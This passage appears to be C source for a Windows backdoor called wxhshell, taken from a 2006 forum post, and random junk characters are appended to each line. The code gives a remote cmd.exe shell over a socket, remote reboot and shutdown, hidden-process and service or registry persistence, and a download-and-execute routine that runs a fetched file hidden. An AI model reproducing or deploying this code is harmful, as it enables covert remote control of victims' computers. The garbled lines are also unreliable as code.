    switch(cmd[0]) { sE,Q:@H5  
  -~wGJM VA  
  // 帮助 WKHEU)'!  
  case '?': { ;JNI $DR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N sUFM  
    break; w-[A"M]I  
  } @(;zU~l/  
  // 安装 rSGt`#E-s.  
  case 'i': { GQU9UXe  
    if(Install()) /.?m9O^ F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;p$KM-?2D  
    else k@,&'imx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y~R['u,  
    break; tks3xS  
    } Jl,mYFEZ  
  // 卸载 vZ<@m2  
  case 'r': { Obd};&6Q  
    if(Uninstall()) `63?FzT y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SI/@Bbd=  
    else zmREzP#X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O@n1E'S/  
    break; ao@"j}c  
    } .H.#W1`  
  // 显示 wxhshell 所在路径 e~wuoE:M3  
  case 'p': { d;Uzl 1;  
    char svExeFile[MAX_PATH]; pO2Y'1*  
    strcpy(svExeFile,"\n\r"); aP%& -W$D|  
      strcat(svExeFile,ExeFile); jl!rCOLt4  
        send(wsh,svExeFile,strlen(svExeFile),0); @D<KG  
    break; e-}b]\  
    } "cK@Yo  
  // 重启 |C MKY  
  case 'b': { wZ^ 7#yX>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >9h@Dj[|!  
    if(Boot(REBOOT)) <G5d{rKZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . q=sC?D  
    else { /1h 0 l;  
    closesocket(wsh); 6" s}<  
    ExitThread(0); zsQhydTR  
    } 7DG{|%\HF  
    break; )^G&p[G  
    } ujo3"j[b  
  // 关机 l1Zf#]x  
  case 'd': { [c{/0*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }s0?RH  
    if(Boot(SHUTDOWN)) v|VfSLZTb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x B%Felz  
    else { "zT#*>U  
    closesocket(wsh); ~6:<OdQ  
    ExitThread(0); q. %[!O  
    } eyx;8v cM  
    break; B{:JD^V!  
    } rPk=9I  
  // 获取shell r306`)kX  
  case 's': { qyfw$$X  
    CmdShell(wsh); D"5uN0Z  
    closesocket(wsh); ?1r>t"e5  
    ExitThread(0); q~3dbj  
    break; O<@S,/Q4  
  } U[!x 0M  
  // 退出 $@[`/Uh   
  case 'x': { O Oa}+^-j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !9$xfg }  
    CloseIt(wsh); [Rqv49n*V  
    break; J9tQ@3{f  
    } Sdc yL%6!  
  // 离开 {AJcYZV  
  case 'q': { }'?N+MN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;au-NY  
    closesocket(wsh); $;9zD11  
    WSACleanup(); SiD [54OM  
    exit(1); R\L0   
    break; mP1EWh|  
        } }RGp)OFY&  
  } &&N]u e@>  
  } 2>E.Q@c  
uP'x{Pr)  
  // 提示信息 *3S ./ C}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l.DC20bs  
} 7?@s.Sz|fV  
  } L_>j SP  
XQ+KI:g2  
  return; .?gpI Zv  
} g$qNK`y  
;P` z ?>J:  
// shell模块句柄 D6 2xC5  
int CmdShell(SOCKET sock) OygR5s +  
{ yq3i=RB(  
STARTUPINFO si; [V\0P,l  
ZeroMemory(&si,sizeof(si)); ls(lL\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~*Fbs! ;,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /$'R!d5r  
PROCESS_INFORMATION ProcessInfo; ebbC`eFD  
char cmdline[]="cmd"; c,$ >u,4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B( ]=I@L=W  
  return 0; RCFocOOn  
} gAy,uP~,  
K_@[%  
// 自身启动模式 KL2#Bm_  
int StartFromService(void) yu3T5@Ww  
{ ^Vl{IsY  
typedef struct {8NnRnzU  
{ !nQ!J+ g  
  DWORD ExitStatus; 1-@[th  
  DWORD PebBaseAddress; NJEubC?  
  DWORD AffinityMask; }Q7 ~tu  
  DWORD BasePriority; Et\z^y  
  ULONG UniqueProcessId; e 1W9Z $m  
  ULONG InheritedFromUniqueProcessId; F_m[EB  
}   PROCESS_BASIC_INFORMATION; g~5$X{  
93z oJiLRf  
PROCNTQSIP NtQueryInformationProcess; =WaZy>n}7  
hpftVEB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5jj<sj!S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dtK[H+  
pi>,>-Z  
  HANDLE             hProcess; (T1)7%Xs  
  PROCESS_BASIC_INFORMATION pbi; '\I.P  
p'lL2 n$E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;&|MNN^  
  if(NULL == hInst ) return 0; gZ!vRO <%  
wnaT~r@U'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aS^ 4dEJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \t LfB[S.5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /{eD##vhP  
sN6R0YW  
  if (!NtQueryInformationProcess) return 0; s~ZLnEb  
`QH-VR\_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NaeG2>1  
  if(!hProcess) return 0; Fdgu=qMm  
3` ov?T(H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %P!6cyQS  
C_SJ4Sh  
  CloseHandle(hProcess); $wL zaZL|  
>t-9yO1XQq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {> T r22S  
if(hProcess==NULL) return 0; J2X;=X5  
LKCj@NdV  
HMODULE hMod; 6,nws5dh  
char procName[255]; {rQ SB;3  
unsigned long cbNeeded; n H)6mOYp  
<cQ)*~hN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L&[uE;ro  
Fa}3UVm  
  CloseHandle(hProcess); J{W<6AK\S  
f(Vr&X  
if(strstr(procName,"services")) return 1; // 以服务启动 d5/x2!mH8  
dQD YN_  
  return 0; // 注册表启动 _K(w &Kr  
} -O.q$D=as  
|7$F r[2d  
// 主模块 )<_e{_ h  
int StartWxhshell(LPSTR lpCmdLine) '&?OhSeN  
{ \'z&7;px  
  SOCKET wsl; *v+xKy#M  
BOOL val=TRUE; lTl-<E;  
  int port=0; tI2V)i!  
  struct sockaddr_in door; H Aq  
E$B7E@(U  
  if(wscfg.ws_autoins) Install(); [ML%u$-  
oBfh1/< <a  
port=atoi(lpCmdLine); "bI'XaSv  
)%8 ;C]G;  
if(port<=0) port=wscfg.ws_port; jH+ddBVA  
Up:<NHJT  
  WSADATA data; 2Zf} t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G}!dm0s$  
8y9oj9 ;E]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    4x.1J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PQ6.1}  
  door.sin_family = AF_INET; } 0su[gy[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IYeX\)Gv&  
  door.sin_port = htons(port); H/qv%!/o  
Ne{2fV>8Ay  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [PVem  
closesocket(wsl); AfU~k!4`  
return 1; ^FaBaDcnl  
} YNEPu:5J  
SFKfsb!C  
  if(listen(wsl,2) == INVALID_SOCKET) { |y,%dFNLf  
closesocket(wsl); >=G-^z:  
return 1; mB.ybrig  
} IM""s]  
  Wxhshell(wsl); gP&G63^  
  WSACleanup(); @FC|1=+  
N3J T[7  
return 0; ZbmBwW_ 7  
!Ee#jCXS  
} *V@>E2@  
_gAU`aO^  
// 以NT服务方式启动 " 3ryp A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uVnbOqR<X  
{ X~m*`UH  
DWORD   status = 0; 1y\ -Iz^  
  DWORD   specificError = 0xfffffff; *>m,7} L  
TR@*tfS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [^oTC;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xqP DL9\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j c%  
  serviceStatus.dwWin32ExitCode     = 0; J.nJ@?O+  
  serviceStatus.dwServiceSpecificExitCode = 0; *{_WM}G  
  serviceStatus.dwCheckPoint       = 0; QqpXUyHp[  
  serviceStatus.dwWaitHint       = 0; 0?x9.]  
:Z(w,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dRl*rP/  
  if (hServiceStatusHandle==0) return; X\\c=[#8-  
0keqtr  
status = GetLastError(); 28/At  
  if (status!=NO_ERROR) J|$(O$hYy  
{ 2[^p6s[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; : `Nh}Ka0  
    serviceStatus.dwCheckPoint       = 0; Zo=w8Hr  
    serviceStatus.dwWaitHint       = 0; O,$ ?Pj6  
    serviceStatus.dwWin32ExitCode     = status; bl/tl_.p00  
    serviceStatus.dwServiceSpecificExitCode = specificError; @m#1[n;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O r {9?;G  
    return; #3fS_;G  
  } 6),U(e%  
puv/+!q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `5J`<BPs  
  serviceStatus.dwCheckPoint       = 0; @51!vQwqR  
  serviceStatus.dwWaitHint       = 0; m%?+;V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `>kHJI4  
} 4&)4hF  
`E@TPdu  
// 处理NT服务事件,比如:启动、停止 Ub>Pl,~'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l_?r#Qc7  
{ 0!Zp4>l\Z  
switch(fdwControl) 0uw3[,I   
{ pwu8LQ3b{O  
case SERVICE_CONTROL_STOP: !YM;5vte+  
  serviceStatus.dwWin32ExitCode = 0; #$W bYL|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \Z?.Po`!j  
  serviceStatus.dwCheckPoint   = 0; at N%csA0  
  serviceStatus.dwWaitHint     = 0; kNqIPvuMr  
  { MLd*WpiI.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >q+q];=(  
  } [xm{4Ba2X  
  return; HB/q v IzB  
case SERVICE_CONTROL_PAUSE: ap 5D6y+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .}xF2'~E/  
  break; E%+aqA)f  
case SERVICE_CONTROL_CONTINUE: oU\Q|mN(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )&jE<C0  
  break; oBBL7/L  
case SERVICE_CONTROL_INTERROGATE: /o/0 9K  
  break; <'Ppu  
}; :J 7p=sX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?PpGBm2f*  
} Kuj*U'ed7t  
7 3 Oo;  
// 标准应用程序主函数 E/<5JhI9~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 834E ]2  
{ @)R6!"p  
 Uk2U:  
// 获取操作系统版本 *5Mg^}ZC5  
OsIsNt=GetOsVer(); J)148/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JGLjx"Y  
&5x ]9   
  // 从命令行安装 -pF3q2zb  
  if(strpbrk(lpCmdLine,"iI")) Install(); $ts%SDM  
RyAss0Sm^  
  // 下载执行文件 &efwfnG<  
if(wscfg.ws_downexe) { J2va Kl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]j^V5y"  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2 c%*u {=:  
} $@VQ{S  
BGe&c,feIc  
if(!OsIsNt) { $<]G#&F   
// 如果时win9x,隐藏进程并且设置为注册表启动 C>A*L4c]F  
HideProc(); JQ[~N-  
StartWxhshell(lpCmdLine); @P$_2IU"  
} f^EDiG>b`  
else /d1 B-I  
  if(StartFromService()) 65@,FDg*i  
  // 以服务方式启动 kS\A_"bc  
  StartServiceCtrlDispatcher(DispatchTable); KRL9dD,&  
else >k\lE(  
  // 普通方式启动 &*w)/W  
  StartWxhshell(lpCmdLine); {I]X-+D|_  
Gtyy^tz[  
return 0; QcXqMx  
}
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只看该作者 1 发表于: 2006-10-10
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